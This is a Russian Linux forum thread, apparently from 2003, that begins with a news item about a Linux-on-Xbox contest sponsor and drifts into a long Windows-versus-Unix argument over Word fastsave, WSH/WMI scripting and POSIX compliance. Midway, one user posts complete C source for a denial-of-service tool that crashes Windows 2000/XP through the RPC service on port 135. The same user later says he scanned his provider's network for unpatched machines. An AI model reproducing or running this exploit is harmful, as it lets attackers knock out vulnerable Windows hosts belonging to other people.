LINUX.ORG.RU

Нашелся спонсор проекта портирования Linux на Xbox


0

0

Майкл Робертсон (Michael Robertson), генеральный директор компании Lindows, признался, что это он является анонимным жертвователем 200 тыс. $ в призовой фонд конкурса по переносу операционной системы Linux на видеоигровую консоль Microsoft Xbox.

>>> Статья на ZdNet.ru

anonymous

Проверено: green

2РТО

Насчет dump

Очень познавательно, все пути ведут к Microsoft Knowledge Base.

Что толку если я узнаю, что проблема связана с драйвером сетевой карты

ведь другого драйвера все равно нет и фиксить зто никто не будет?

А это уже радует:

3. You can redirect the screen output to a log file by adding > minidump.log to the end of the command line.

А что gui не написали ?

Саныч.

anonymous
()

2 PTO

>да я уже привык, что вместо ответа на мой вопрос, мне задают 100 встречных... нормально

А я уже привык к тому что от виндузятников НИ_ОДНОГО вразумительного ответа по существу я не видел. А тратить мое личное время на изучение того, что в начтоящий момент мне не нужно для того, чтобы опровергнуть мнение подобных оппонентов - непозволительная роскошь.

>все очень просто - в ворде может хранится куча информации... к примеру 10 версий документа (при каждом редактировании создаваться может)

Вот только откат к предыдущей версии в свежеоткрытом документе почему то невозможен. Тогда зачем вводить избыточность?..

>как уже сказали ниже, это так же возможности "фаст сейва" - т.е. ворд теряет в объеме файла против скорости работы человека - все же он важнее?!

А что, в штатном режиме скорость недостаточно высока? Или неразрешимые проблемы с многозадачностью не позволяют продолжать редактирование сохраняемого документа?

>Когда происходит сохранение под другим именем - ворд может выкинуть старые версии и сохранить реорганизованный файл и он будет маленьким...

Как обычно, объяснения ограничиваются общими словами, т.е. вешанием лапши на уши.

>как сие работает настраивается в настройках ворда или централизованно для всех машин в конторе

И где можно прочитать внятное лаконичное описание этих настроек?

Ikonta_521
()

2 Саныч:

если проблема с драйвером сетевой карты, то появляется куча возможностей - скачать драйвер по-свежее... взять ДДК и написать свой собственный... благо вся информация по этому поводу доступна... в конце концов поменять сетевую карту на другую - такую, где не будет проблем с драйвером. А ГУИ то тут зачем... хотя есть и ГУЕвые поделки для этого, я парочку видел, вроде в ресурските даже есть.

2 Ikonta: ну я уж и не знаю какие вразумительные ответы вы ждете... вроде и команду написал и код привел и как работает объяснил... или вам с самого начала нужно рассказывать... тому, кому надо, тот разберется если ему дать направление в котором копать... а чего еще вы хотите в форуме на ЛОРе... тут и виндузятников-то не так много (вернее их конечно много, больше чем линуксоидов, тока вот они ничего ни про то, ни про се не знают)...

По версиям документов - ну если вы в ворде попробуете на свеже открытом файле нажать "Файл-Версии", то сможете открыть любую из сохраненных версий файла...

Объяснение как работает фаст-сейв тут: http://support.microsoft.com/default.aspx?scid=kb;en-us;111277

если надо перевесть с англицкого - не стесняйтесь, переведу, чтоб потом не было разговоров

PTO
()

    Посмотрите внимательно на пример для юникса! там же
    эксплуотируются готовые утилиты! Повезло, что готовые есть, а если бы
    не было?! А что в линуксе есть решения для всех _НЕСТАНДАРТНЫХ_ задач?
Не поверишь, в юниксе чудесным образом утилиты есть на очень многие случаи
жизни. А в чудеснейшей винде почему-то даже для поиска файлов нет нормального
средства.
        >Привет, РТО! Как дела в твоей конторке - Microsoft Russia?
    чего везде заговоры мерещатся? или любой, кто слова за Вин скажет
    однозначно сакс и мастдай?
Ни фига себе. Ты сам как-то рассказал, что люди в метро увидев тебя с журналом
в котором была статья про выступление MSFT где-то, с твоей фоткой (как
организатора или кого-еще) стали просить у тебя автограф.
 Ну и других сотрудников MSFT называл "Наш Игорь".
        >Во-первых, жду с лета обещанных тобой примеров - ты давай их
        >быстрее доделывай! Как приведешь - будешь иметь моральное право
    Дык дел много, из того разряда, что деньги приносят... я уж как-нить без
    моральных обязательств побуду тут...
(Напомню - спрашивал как используя скрипты для command.com вывести строку,
не оканчивающуюся возвратом каретки на консоль; а также аналог след. перловой
строки для Vbasic/WSH:
        s/(.)/sprintf "%2x", ord($1)/eg;
).
        > Ну и как же например в программе, использующей подсистему POSIX-совем
        естимости,    > пользовать вызовы GDI? (Ответ - никак).
    напрямую никак... да и зачем... есть же чудный протокол x Window, а там уже
    сервер разберется на какой платформе чего дергать для отрисовки...
Ну многим хотелось бы использовать одновременно posix api и gdi или ф-ии,
недоступные через posix api.
    а как в люликсной программе на посиксе написанной дернуть вызов GDI не
    подскажете?
В смысле "вызов GDI дернуть"? Под леликсом нет GDI. Ну а убогий Windows GDI не
network transparent, так что его как X Window call удаленно по сети не
дернешь.
        > Документами не интересовался, но знаю что все гнушные утилиты можно
        сделать > POSIX-совместимыми установив пер-ную $POSIXLY_CORRECT.
    >а! вера! религия! все - умолкаю тут аргументами и логикой не объяснишь...
OK, купи POSIX compliancy testsuit (они дорого стоят), оплати мое время -
я прогоню его с утановленной пер-ной окружения $POSIXLY_CORRECT
и расскажу о результатах.
  Ну и давай ссылку на сертификацию XP и win2k на POSIX compliance, а то
я тоже скажу про религию (веру в БГ и прочее).
        > Криво (нет на win2k server WSH в стандартной поставке как сказали выш
е)..
    ну, если согласно твоим выводам, я работаю в МСе, то глупо наверное
    со мной спорить, что есть в стандартной поставке, а чего нет?
    читаем: http://www.microsoft.com/windows2000/server/evaluation/features/
    Windows Script Host (WSH) - Administer the server and automate tasks via
    the command line instead of graphical user interface tools with scripts
Ну наличие в стандартной поставке и автоматическая установка его по дефолту -
совершенно разные вещи.
        > Ну приведи способ узнать ВСЕ файлы Пупкина, на всех дисках,
        > измененные за последние 3 месяца назад.
    идешь на сайт, ссылку на который я приводил выше - там ищешь похожий
    скрипт и модифицируешь его... или квалификации не хватает разобраться что
    и как делают скрипты на ВБейскСкрипт-е?
Не спорю что это возможно, но однозначно это будет что-то более длинное чем
   Set colDiskQuotas = CreateObject("Microsoft.DiskQuota.1")
   colDiskQuotas.Initialize "C:\", True
   For Each objUser in colDiskQuotas
   Wscript.Echo "Logon name: " & objUser.LogonName
   Wscript.Echo "Quota used: " & objUser.QuotaUsed
   Next
на порядок (будет примерно те 100 строк которые запостили на C# в начале
треда). А в юниксе это делается использованием программы из стандартной
поставке (и она есть ВЕЗДЕ по-дефолту), в одну строчку.
-Vlad

anonymous
()

2 PTO

Да вот нет драйвера посвежее :(

Наверно считается, что если сервер падает раз в месяц, то это в порядке

вещей.

Сам драйвер под NT писать не пробовал, каюсь, квалификации не хватает,

да и DDK стоит наверно не мало.

Гораздо проще оказалось заменить NT на BSD и все стало работать.

Саныч.

anonymous
()

2 vlad: ты не поверишь, в винде есть и утилитки и компонентики (особливо из WMI) для кучи случаев в реальной жизни и для поиска файлов оно тоже есть как ни странно... не все только умеют ими пользоваться...

про поездку в метро - то был пересказ поездки моего приятеля... он и в правду работает в МС, а из Игорей в МСе я знаю только Агамирзяна, да и не стал бы я так фамильярно... слишком уж уважаемый человек, посему я с ним на "вы" даже не смотря на политику со всеми сотрудниками говорить на "ты" в МСовском офисе...

примеры ваши... будет время, сделаю, смысла в этом особого не вижу - ну ублажу одного из участников форума... от этого лишняя кукла у дочки не появится, а ей знаете-ли очень и очень нравится новые куклы регулярно получать... так чта ее желания для меня имеют более высокий приоритет... если случится период ничего неделанья, когда можно будет отвлечься от служебных обязанностей - наваяю... пока сорри...

вам не кажется, что в двух фразах идущих одна за другой, вы сами себе противоречите: "Ну многим хотелось бы использовать одновременно posix api и gdi или ф-ии, недоступные через posix api." и "Под леликсом нет GDI. Ну а убогий Windows GDI не network transparent, так что его как X Window call удаленно по сети не дернешь."... т.е. ГДИ убог, но куча КГ пионеров пытаются скрестить ежа и ужа... - по секрету скажу - моток колючей проволки получается... с другой стороны проблем особых нет - есть немножко больше геммороя - писать промежуточный слой и бросать вызовы туда-сюда... гемморно больно, да и не нужно как показывает практика миграции софта.

странно, вроде NIST-PCTS:151-2 бесплатно и в исходниках доступна :)
но даже если и нужно что-то покупать, почему это должен делать именно я? вот МС - пошла и усе оформила, протестила... почему сие не сделала Красная Шапочка и сузя?!

Вин2К и ВинХР + СФУ безпроблемно через NIST-PCTS:151-2 прокатываются... а сертификат дают на конкретную железку...

Бррр... наличие в дистрибутиве и установка по-умолчанию это конечно разные вещи... а что в Ляликсе УСЕ ставится по-умолчанию? и писать ничего-ничего не нужно? и доставлять ничего потом когда понадобиться не нужно? круто как!

сложнее получится? смотря как писать... если пользовать WMI, то будет не так уж и сложно:
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colFiles = objWMIService. _
ExecQuery("Select * from CIM_DataFile where Where " _
& "CreationDate > '" & dtmTargetDate & "'"))
For Each objFile in colFiles
Wscript.Echo objFile.Name & " -- " & objFile.FileSize
Next

PTO
()

   По  версиям  документов  -  ну  если  вы  в  ворде попробуете на свеже
   открытом  файле  нажать  "Файл-Версии",  то  сможете  открыть любую из
   сохраненных версий файла...
Ну ты даешь - ты даже ворд вообще  не знаешь.. Пиши заявление о добровольном
уволнении себя - PTO :)
  "Файл-Версии" будут содержать что-то если включена автоматическая запись
версий при каждом закрытии, или если юзер вручную сохранял версии.

А fastsave режим сохранения данных - он предназначен для записи инфы об
изменениях внесенных в док-т с момента последнего ПОЛНГО сохранения.
То есть был док-т на 2 метра, юзер сменил шрифт у одного слова - ворд запишет
что для такого-то диапазона букв в таком-то абзаце сменен шрифт на такой-то,
вместо перезаписывания fastsave файла с нуля. То же самое при добавлении
слова - указывается что туда-то вставлено то-то.

  Многие security experts считают fastsave очень неприятной фичей - так как
используя hexeditor можно найти в файле сохраненном в fastsave - части старого
документа. Например оригинальный текст веб-страницы, из которой после
некоторых модификаций была сделана посланная вам версия. Так что когда что-то
шлете в ворде кому-то - отрубайте fastsave.
  Файлы, сохраненные с этим фастсейвом, плохо читаются сторонними тулзами
(абивордом, квордом и прочими; SO читает их практически безотказно).
-Vlad

anonymous
()

2 vlad: брррр... открываю ворд 2002... захожу в меню Файл, пункт Версии... всплывает окошко, на котором можно включить/выключить автоматическое сохранение версий, кнопка сохранить новую версию, а также ниже окошко со списком версий данного файла с датой/временем, кто его сохранил и с доп. заметками... внизу кнопочки - открыть данную версию, удалить версию, добавить комментарий... скриншот присылать?

про то почему растет размер файла и может резко сократиться при записи рассказывается в статье базы знаний что я привел... таких причин 3... наиболее часто встречающаяся есть фастсейв, которая экономит время работающего человека

PTO
()

   2  vlad:  ты  не  поверишь,  в  винде  есть  и утилитки и компонентики
   (особливо  из  WMI)  для  кучи  случаев  в реальной жизни и для поиска
   файлов  оно  тоже  есть  как  ни  странно...  не  все только умеют ими
   пользоваться...
Ну не все есть в дефолтной конфигурации. Представь что ты юзер терминальго
сервера, на твоем компе нет компактовода, ты не в группе админов, сам админ
в отпуске на какой-то срок, а тебе приспичило найти файл.
 Если WSH по дефолту не ставиться - то тебе вообще нечем искать.
 А в юниксе такие утилиты есть гарантировано.
   про поездку в метро - то был пересказ поездки моего приятеля... он и в
   правду работает в МС, а из Игорей в МСе я знаю только Агамирзяна, да и
   не  стал бы я так фамильярно... слишком уж уважаемый человек, посему я
   с  ним  на  "вы"  даже  не  смотря  на  политику со всеми сотрудниками
   говорить на "ты" в МСовском офисе...
ОК, тогда прямо скажи - "Я, РТО, в MC не работаю." Или скажи обратное.
   вам  не кажется, что в двух фразах идущих одна за другой, вы сами себе
   противоречите:  "Ну многим хотелось бы использовать одновременно posix
   api  и gdi или ф-ии, недоступные через posix api." и "Под леликсом нет
   GDI. Ну а убогий Windows GDI не network transparent, так что его как X
   Window call удаленно по сети не дернешь."... т.е. ГДИ убог, но куча КГ
   пионеров  пытаются  скрестить  ежа и ужа... - по секрету скажу - моток
   колючей  проволки  получается... с другой стороны проблем особых нет -
Понимаешь, в дефолтной установке виндов X сервера пока не наблюдается, и
посему остается только ублюдочный GDI и сам Win32Api если кто-то хочет чуть
расширить свою программу, пользующую в основном posix api, для юзеров винды.
  Ну а если программу пишем только для юникса - конечно будем пользовать
виджетсеты пользующие Х.
   есть  немножко  больше  геммороя - писать промежуточный слой и бросать
   вызовы  туда-сюда...  гемморно  больно,  да  и не нужно как показывает
   практика миграции софта.
Надо ставить свое жирное ИМХО после этой фразы. Потому что приходится покупать
всякие дорогущие цитриксы, и прочая.
   но  даже если и нужно что-то покупать, почему это должен делать именно
   я?  вот МС - пошла и усе оформила, протестила... почему сие не сделала
   Красная Шапочка и сузя?!
Никто в здравом уме проблемы совместимости от шапочек и сузей не ожидает
(понятно что проблемы просто нет).
   Вин2К    и    ВинХР   +   СФУ   безпроблемно   через   NIST-PCTS:151-2
   прокатываются... а сертификат дают на конкретную железку...
А без SFU - как их POSIX compatibility subsystem с POSIX'ом совместима?
   Бррр...  наличие  в  дистрибутиве и установка по-умолчанию это конечно
   разные  вещи...  а  что  в Ляликсе УСЕ ставится по-умолчанию? и писать
Программы sed,find,grep и еще много чего стоят по умолчанию в каждом юниксе.
Ибо без них юникс просто не загрузится (все очень гибко, очень много на
скриптах в них панимаишь написано, включая обертки к службам).
   сложнее  получится? смотря как писать... если пользовать WMI, то будет
   не так уж и сложно:
ОК, и что такое WMI? Сколько оно стоит? Для каких версий виндов доступно?
Включено ли в конфигурацию по умолчанию?
-Vlad

anonymous
()

   2  vlad:  брррр...  открываю  ворд  2002...  захожу в меню Файл, пункт
   Версии...   всплывает  окошко,  на  котором  можно  включить/выключить
   автоматическое  сохранение  версий,  кнопка  сохранить новую версию, а
   также  ниже  окошко  со списком версий данного файла с датой/временем,
   кто его сохранил и с доп. заметками... внизу кнопочки - открыть данную
   версию, удалить версию, добавить комментарий... скриншот присылать?
Ikonta_521 спросил (перефразирую) "почему когда включен fastsave нельзя
откатиться к пред. версии". Ты ответил "лезь в меню Файл->Версии". Такой
ответ мог дать только незнающий ворд человек.
-Vlad

anonymous
()

2 Vlad: 1. WSH есть в дистрибутиве и ставится по-умолчанию 2. кайф - Win32 & GDI ублюдочные... зато Хы это просто счастие... :) 3. какие цитриксы? вы чего болеете? (с) 4. религия? уж конечно монстры Линуксостроения исключительно совместимые системы выпускают... странно... в списке сертифицированных я только ОпенЛинукс нашел 95г розливу :) 5. мля, отлистайте вверх, я там говорил, что и по какому посиксу совместимо... в этом виде оно на ФИПСе прокатывается 6. а если админ удалил/лешил прав на эти утилиты чего делать? 7. WMI это объектная модель. она бесплатна... ей только нужно уметь пользоваться. бесплатна, вин2к и выше точно есть, ставится по-умолчанию.

PTO
()

2 Vlad: цитируем классика: ">все очень просто - в ворде может хранится куча информации... к примеру 10 версий документа (при каждом редактировании создаваться может)

Вот только откат к предыдущей версии в свежеоткрытом документе почему то невозможен. Тогда зачем вводить избыточность?.. "

где тут про фастсейв... открываешь свежеоткрытый документ и видишь там версии... только что проделал... даже фастсейв включил... работает однако.

PTO
()
Ответ на: комментарий от PTO

2PTO
>Вот только откат к предыдущей версии в свежеоткрытом документе >почему то невозможен. Тогда зачем вводить избыточность?.. "
>где тут про фастсейв... открываешь свежеоткрытый документ и видишь >там версии... только что проделал... даже фастсейв включил... >работает однако
Ага, работает, еще один файл-копию создает, работа с версиями однако :-))) Ну просто CVS в реализации MS :-)))

anonymous
()
Ответ на: комментарий от anonymous

2PTO
>там версии... только что проделал... даже фастсейв включил... >работает однако
Объясни, пожалуйста, почему при фастсейве файл получается больше, чем 2 файла при отключенном фастсейве и на$%^ нужна такая фигня?

anonymous
()

2 anonymous (*) (2003-01-13 18:33:59.242): открываем ворд, создаем там документ, сохраняем версию, редактируем, сохраняем версию, редактируем, сохраняем версию, редактируем, сохраняем версию, редактируем, сохраняем версию, редактируем, сохраняем версию, редактируем, сохраняем версию, редактируем, сохраняем версию... закрываем... смотрим - файл один... открываем, идем в Файл-Версии... и наблюдаем кучу версий... можно сравнивать чем они отличаются друг от друга...

болеете? (с)

PTO
()

2 anonymous (*) (2003-01-13 18:40:46.308): там выше была сноска на статью в базе знаний... если англицким не владеете - просите, вам переведут.

PTO
()

   2  Vlad:  1. WSH есть в дистрибутиве и ставится по-умолчанию
OK, только кто-то говорил что в win2k server по дефолту его нет. Может у того
человека просто старый релиз win2k server и там действительно нет WSH?
   Win32  &  GDI  ублюдочные... зато Хы это просто счастие... :)
А что, такого по определению быть не может? Часто  Б-Гу молишься?
    3. какие цитриксы?  вы  чего  болеете?  (с)
ОК, задача - я сижу за машиной A, и хочу пустить программу, установленную
на машине B, и работать не выходя из-за машины A, НЕ ВИДЯ десктоп машины
B (то есть чтобы окна программы открывались на моем столе - машины А).
Это называется Published Application. Скажи как это сделать без citrix,
без приобритения стороннего софта( в том числе от МС). Сижу я допустим на
XP Prof.
   Линуксостроения   исключительно   совместимые   системы   выпускают...
   странно...  в  списке  сертифицированных я только ОпенЛинукс нашел 95г
Ну а что, такого просто не может быть?!
    мля, отлистайте вверх, я там говорил, что и по какому посиксу совместимо...
    в этом виде оно на ФИПСе прокатывается
Ссылочку на сертификат в студию. И не надо фраз что "ядро Win2K почти такое
же как у NT"  и "только поставь SFU и будет эта ляпота".
    а если админ  удалил/лешил  прав  на  эти  утилиты  чего  делать?
Увольнять админа за незнание основ юниксов.
    WMI это объектная модель. она бесплатна... ей только нужно уметь
    пользоваться.  бесплатна, вин2к и выше точно есть, ставится по-умолчанию.
Ну хоть так. Тогда плиз дай пример чтобы там и время создания и Vasya Pupkin
(в твоем оригинальном пупкина никакого не было - хотя нужно было отфильтровать
файлы только пупкина) одновременно были. И чтобы глубина вложенности была
более 5. И чтобы  исключались симлинки (знаю, что  они утилитами и либами
виндовыми плохо поддерживаются).
ЗЫ: и что это на MSDN такие идиологически кривые примеры как тот код на С#
на 100 строк - постят? Ведь можно через WMI :) ?

Ну и так что же у нас относительно твоей работы в MSFT Russia?

--
   2 Vlad: цитируем классика: ">все очень просто - в ворде может хранится
   куча   информации...   к  примеру  10  версий  документа  (при  каждом
   редактировании создаваться может)
Ну во-первых - к чему ты упомянул версии если говорилось только про фастсейв
и большой размер файлов?
   Вот  только откат к предыдущей версии в свежеоткрытом документе почему
   то невозможен. Тогда зачем вводить избыточность?.. "

   где тут про фастсейв... открываешь свежеоткрытый документ и видишь там
   версии...  только  что  проделал...  даже фастсейв включил... работает
   однако.
Причем тут вообще версии?
Ikonta_521 спросил (перефразирую) "почему когда включен fastsave нельзя
откатиться к пред. версии" (в контексте - если такая избыточность по размеру -
почему она не дает доступ к пред. версиям). Так как про версии он до этого
ничего  не говорил и так как по-дефолту версии при сохранении файла не
сохраняются (надо зайти в Файл/Версии и там поставить галочку), то  любому
станет понятно, что он имел ввиду случай когда  автоматическое сохранение
версий документов не ведется и соответственно когда Файл->Версии показывает
пустой список.

 да, конечно, в свежеоткрытом документе в котором явно или автоматически
(путем установки галки) записаны версии версии могут быть выбраны через
Файл->Версии (ну а дальше - сохранены индивидуально).
-Vlad

anonymous
()

Итак, обещанный ДоС для в2к и хр. 
Надеюсь, это не сильно противоречит полиси ЛОРа.
Мне этот код достался в другом виде, но он почему-то не работал и я что-то добавлял-убирал. Что - не помню.

#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>

//#pragma comment(lib, "ws2_32.lib")

char sendcode1[] =
  "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x02\x00\x00\x00"
  "\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
  "\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f"
  "\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
  "\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\x10\x00\x00\x00"
  "\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\x00\x00\x02\x00"
  "\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00";

char sendcode2[] =
  "\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00";

char sendcode3[] =
  "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00";

char sendcode4[] =
  "\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x3d\x3d\x3d\x3d"
  "\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d"
  "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
  "\x50\x10\x01\x00\x00\x00\x02\x00";

char sendcode5[] =
  "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
  "\x80\xf9\x00\x00\x00\x00\x02\x00";

char sendcode6[] =
  "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
  "\xb0\xe2\x00\x00\x00\x00\x02\x00";

char sendcode7[] =
  "\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\x8f\x00\x00\x00"
  "\x60\x15\x00\x00\x00\x00\x02\x00";

char sendcode8[] =
  "\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00";

int main(int argc, char *argv[])
{
  struct hostent *pTarget;
  struct sockaddr_in sock;
  char *targetip;
  int port,bufsize;
  int s;
  char buffer[20480];

  if (argc < 2)
  {
    printf("Usage:\r\n");
    printf(" %s <TargetIP> [TargetPort]\r\n", argv[0]);
    printf("Example:\r\n");
    printf(" %s 192.168.0.1\r\n", argv[0]);
    printf(" %s 192.168.0.1 135\r\n", argv[0]);
    printf("PS:\r\n");
    printf(" If target is XP, try 2 times.\r\n");
    exit(1);
  }


  targetip = argv[1];
  port = 135;
  if (argc >= 3) port = atoi(argv[2]);
  bufsize = 512;
  if (argc >= 4) bufsize = atoi(argv[3]);

  s = socket(AF_INET, SOCK_STREAM, 0);
  if(s<=0)
  {
    printf("Socket error!\r\n");
    exit(1);
  }

  printf("Resolving Hostnames...\n");
  if ((pTarget = gethostbyname(targetip)) == NULL)
  {
    printf("Resolve of %s failed, please try again.\n", argv[1]);
    exit(1);
  }

  memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
  sock.sin_family = AF_INET;
  sock.sin_port = htons((unsigned short)port);

  printf("Connecting...\n");
  if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) )))
  {
    printf("Couldn't connect to host.\n");
    exit(1);
  }

  printf("Connected!...\n");
  printf("Sending Packets...\n");
  if (send(s, sendcode1, sizeof(sendcode1)-1, 0) == -1)
  {
    printf("Error sending nuke Packets\r\n");
    close(s);
    exit(1);
  }

  memset(&buffer, '\x41', 240);
  send(s, buffer, 240, 0);

  send(s, sendcode2, sizeof(sendcode2)-1, 0);
  memset(&buffer, '\x42', 5000);
  send(s, buffer, 5000, 0);

  send(s, sendcode3, sizeof(sendcode3)-1, 0);
  memset(&buffer, '\x43', 512);
  send(s, buffer, 512, 0);
  
  send(s, sendcode4, sizeof(sendcode4)-1, 0);
// memset(&buffer, '\x44', 20480);
// send(s, buffer, 20480, 0);

// /*
  memset(&buffer, '\x44', 5000);
  send(s, buffer, 5000, 0);

  send(s, sendcode5, sizeof(sendcode5)-1, 0);
  memset(&buffer, '\x45', 5000);
  send(s, buffer, 5000, 0);

  send(s, sendcode6, sizeof(sendcode6)-1, 0);
  memset(&buffer, '\x46', 5000);
  send(s, buffer, 5000, 0);

  send(s, sendcode7, sizeof(sendcode7)-1, 0);
  memset(&buffer, '\x47', 5000);
  send(s, buffer, 5000, 0);

  send(s, sendcode8, sizeof(sendcode8)-1, 0);
  memset(&buffer, '\x48', 5000);
  send(s, buffer, 5000, 0);
  
// */
  printf("Nuked! \r\nIf target is XP, try a again! :)\r\n");
  close(s);
  return 0;
}

del
()

>а что такое "внешние службы" - можно привести пример?
Например, лоадбалансинг и кластеринг. Терминал сервис. ИМХО.
>Заранее спасибо за сырцы атаки на rpc port.
Не за что.

del
()

>>Это всего-лишь означает, что имплементирована сишная stdlib.h. И
>>ничего более, ИМХО.
>это очень и очень хорошо, что вы ставите ИМХО в конце... отрадно
>видеть, что местное сообщество становится культурнее и свое незнание
>перестает выдавать за 100% истину, а только как "скромное мнение"...
>оно не верно.
Это я нашел тде-то тут http://std.dkuug.dk/JTC1/SC22/WG15/ Вроде-бы официальная посиксная страничка. Там описывалось, что должно быть в ОС, чтобы удовлетворять посиксу 1003.1, который называется, кстати, System Interface. И это был набор функций типа fopen, fclose и т.д. Я, конечно, утрировал по поводу stdlib.h, но близко к тому, согласитесь. А также, насколько я помню, там было написано про fork сотоварищи. Разве есть форк в виндовс? Или есть как враппер вокруг винапи?

>не с униксом, а с POSIX.2... повторю вопрос - редхад насколько
>совместим?
Я повторюсь, с посиксом .1 совместимо ядро и либси. Цытата:
In general the GNU C library supports the ISO C and POSIX standards. We also try to support the features of popular Unix variants
Так-же можно прочитать тут
http://www.gnu.org/software/libc/CONFORMANCE

С .2 совместимы гнушные утилиты. Сыылку приводить не буду, т.к. для каждой утилиты она (ссылка) своя.

>о как! korn & c-shell уже не человеческие? какой нынче шелл рулез оф
>зе дей? надо будет
>его собрать под винды и посмотреть в чем он рулез...
Баш рулит, все остальное - отстой. ;)) А как там корн шелл, полностью имплементирован? А он работает в стандартной консоли? Если да, то в сад. ;) У консоли копи-пэйст кривой. ;))

>Посмотрите внимательно на пример для юникса! там же эксплуотируются
>готовые утилиты!
>Повезло, что готовые есть, а если бы не было?! А что в линуксе есть
>решения для всех
>_НЕСТАНДАРТНЫХ_ задач?
Вы не совсем понимаете, язык шелла _не_слабее_Тюринга_. На нем можно написать что угодно. И есть утилиты, которые практически обертка вокруг системных вызовов. А это гарантия того, что можно написать все что угодно.

>В нормальных юниксах уже давное есть нормальные АСЛи... ну то, что вы
> еще не разобрались с
>системой безопасности на ФС вас прощает
Э, извините, я думал, что я Вам объяснял, как что делать в линуксе. Я думал, что это был вопрос.

>"Один дурак может задать столько вопросов, что и 100 мудрецов не
>смогут ответить" (с) Шахеризада
>вы там накидали столько пены и просто (сорри) дури, что
>комментировать что-либо там просто невозможно
Ага, ну да, если на вопрос не знаем ответа, то вопрошавший - дурак. И все что он говорит - это дурь и пена. Правильно, правильно! Нехуй тут разным красноглазым линуксоидам на божественную виндовс гнать и крамольные вопросы про нее задавать. :(

>не "плановая перезагрузка", а плановые работы, плановый останов...
>иногда нужно делать - железо,
>что на подходе поменять, баттареи в УПСе поменять, пропылесосить
>элементарно...
>Специально для любителей аптайма стоит SQL Server 6.5 на NT4SP3...
>аптайм 2 года... было бы 4
>года, да вот контора 2 года назад из офиса в офис переезжала...
>пришлось гасить...
>да, замечу - это центральный сервер компании, в котором все продажи,
>счета, фактуры, цены и т.п.
>и с ним под полной нагрузкой работает куча народа.
Согласитесь, "плановая перезагрузка" и "плановые работы" - разные вещи. В оригинале, разговор шел о плановой перезагрузке как необходимой меры для существования виндовс.
Скажите, а вы на ночь сервак не кладете? И это аптайм в линуксовом смысле слова? Тогда, скорее всего, Вы - волшебник. Ну правда, почему у 99% такое не получается с виндовс, а у Вас получилось. И наоборот, у 99% линукс стоит годами, не требуя тюнинга, unlike windows.


>2 sla: не за чта :)... Х-Бокс на запчасти? :) оригинально... скорее
>всего ничего от него не
>подойдет для писюка...
Камень?...

>2 del: по RPC аттаке... как мне помнится хот фикс к ней был за пару
>дней до появления исходника эксплоита...
Не знаю - не знаю. Я просканировал сеткусвоего провайдера, где сидят АДСЛ-щики (в том числе и я), у некоторого процента был в2к или хр, и у них был открытый рпс порт и без заплатки. Т.е. у тех, у кого стоял в2к или хр был открытый порт и не было заплатки.

del
()

Вдогонку про POSIX.

Вот что пишут дебиановцы:
Linux is intended to adhere to POSIX.1, but the POSIX standards cost real money and the POSIX.1 (and FIPS 151-2) certification is quite expensive; this made it more difficult for the Linux developers to work on complete POSIX conformance. The certification costs make it unlikely that Debian will get an official conformance certification even if it completely passed the validation suite.

Перевод:
Линукс предположительно отвечает посиксу.1, но стандарты посикса стоят, в натуре, денег и сертификация посикса.1 (и фипс 151-2) довольна дорогая; все это делает работу над соответствием посиксу более сложной для разработчиков линукс. Стоимость сертификации делает официальное соответствие дебиана маловероятной, хоть он и проходит все валидационные тесты.

П.С. для знатоков английского. Последнее предложение не надо переводить как "...даже если он пройдет валидационные тесты". Обратите внимание на прошедшее время passed и отсутсвие would в начале предложения перед make.

It make it unlikely even if it pass - маловероятно, даже если пройдет.
It would make it unlikely even if it passed - маловероятно, даже если прошел бы.
It make it unlikely even if it passed - маловероятно, несмотря на то что прошел.

del
()

ПС. В начале трех предложений It не должно стоять. Очепятка. ;)

del
()

2 Vlad:
1. я не знаю кто чего говорил... дистрибутив Вин2К один (хотя, допускаю, что в Митино могут
быть варианты - только вот к Майкрософт они никакого отношения не имеют). WSH есть и ставится
по-умолчанию... самое интересное в том, что Вин2003 Сервер по-умолчанию не ставит практически
ничего, вроде WSH тоже нужно отдельно включать... секьюрити мля

2. да нет... просто в свое время пришлось слегка по-программировать и там и там... ГДИ в
сравнении с АПИ Хов это просто счастие... или вы ГДИ сравниваете с КДЕшным тулкитом? дык тогда
и в Виндах не гладкий АПИ надо сравнивать, а тулкиты соответствующие

3. ну а чем Хы-то не нравятся? дык и любой клиент-сервер так работает... вот у меня на сервере
работает SQL Server, а окошко с результатами на моей машине

по тестам ФИПС - качаете, ставите СФУ и прогоняете... оно прогоняется... в конце концов -
прогоните кто-нить их на Линуксе и скажите - вот такой дистр, с такими патчами, ядром и
настройками прогоняется успешно через тест сьюит

бррр.... а что администратор юникса не может по определенным требованиям запретить пользоваться
определенными утилями пользователям... странно - вот у меня во дворе Сбербанк - на рабочих местах
СКОшные терминалы... операционистка ничего окромя клиента запустить не может... секьюрити аднака

